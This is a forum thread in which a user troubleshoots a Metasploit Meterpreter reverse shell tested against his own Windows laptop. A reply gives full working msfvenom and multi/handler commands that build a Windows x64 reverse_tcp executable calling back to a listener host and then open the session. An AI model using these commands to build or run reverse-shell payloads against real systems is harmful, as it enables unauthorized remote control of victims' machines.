Jump to content

Problem with Metasploit Shell


Tato
 Share

Recommended Posts

Hey guys I have a problem that is bothering me for a long time now.I can't execute a meterpreter shell that I created in Kali Linux I click it and nothing happens.The code I used at the start was (msfvenom -p windows/meterpreter/reverse_tcp LHOST=my ip LPORT=4444..etc and when I launched it on my laptop (windows 8.1) say (We are in the same network):

[*] Sending stage (179267 bytes) to (victim ip)

[*] Meterpreter session 1 opened ((my ip):4444 -> (victim ip) :63938) at 2017-09-30 18:44:30 +0200

and does nothing more.

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST...
set LPORT...
exploit

If you guys know what the problems is please reply because I don't seem to find it.Thank you in advance.

 

Link to comment
Share on other sites

what is the commands you type after interacting with the session? Do a basic ls or dir for windows. Do you get a files listing from the windows machine? If not, something isn't setup 100%. Even id cmd was disabled on the windows 8 machine, you should get some kind of return like "command prompt has been disabled by your administrator" or such.

Link to comment
Share on other sites

8 hours ago, Tato said:

No Nothing happen when i try list file or something else.

Maybe i have to uninstall metasploit and the install it again.

I don't think that is the case, but I'd retrace the setup process for the executable run on the victim machine. Make sure you encode the executable with no bad characters to ignore like 0D, 0A, and 00, etc, and pic the right architecture(32 vs 64bit). Make sure you're listening on the correct port or try a different port range. if the victim is in a VM connected to the host or such, make sure bridged networking isn't sharing the same MAC address and they are properly networked. If behind NAT,  be sure to port forward properly to the listening machine and so on. Just throwing out things to check and make sure are setup properly. Post the whole string you used to create the binary file.

edit:

 

Just to show a working example, here is what I did on my own system against a Windows 7 x64 box.

msfvenom --platform Windows -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.66 lport=4444 -b '\x0A\x0D\x00' -f exe -o poop.exe

msfconsole

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.66
set lport 4444
exploit
sessions
sessions 1
dir

 

Edited by digip
Link to comment
Share on other sites

If the box is 64bit(which more than likely it is for windows 8) then use what I put above, and not the x86 you tried before. Just need to rule that out and also try adding the tag for no bad characters, ie: x00, etc

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...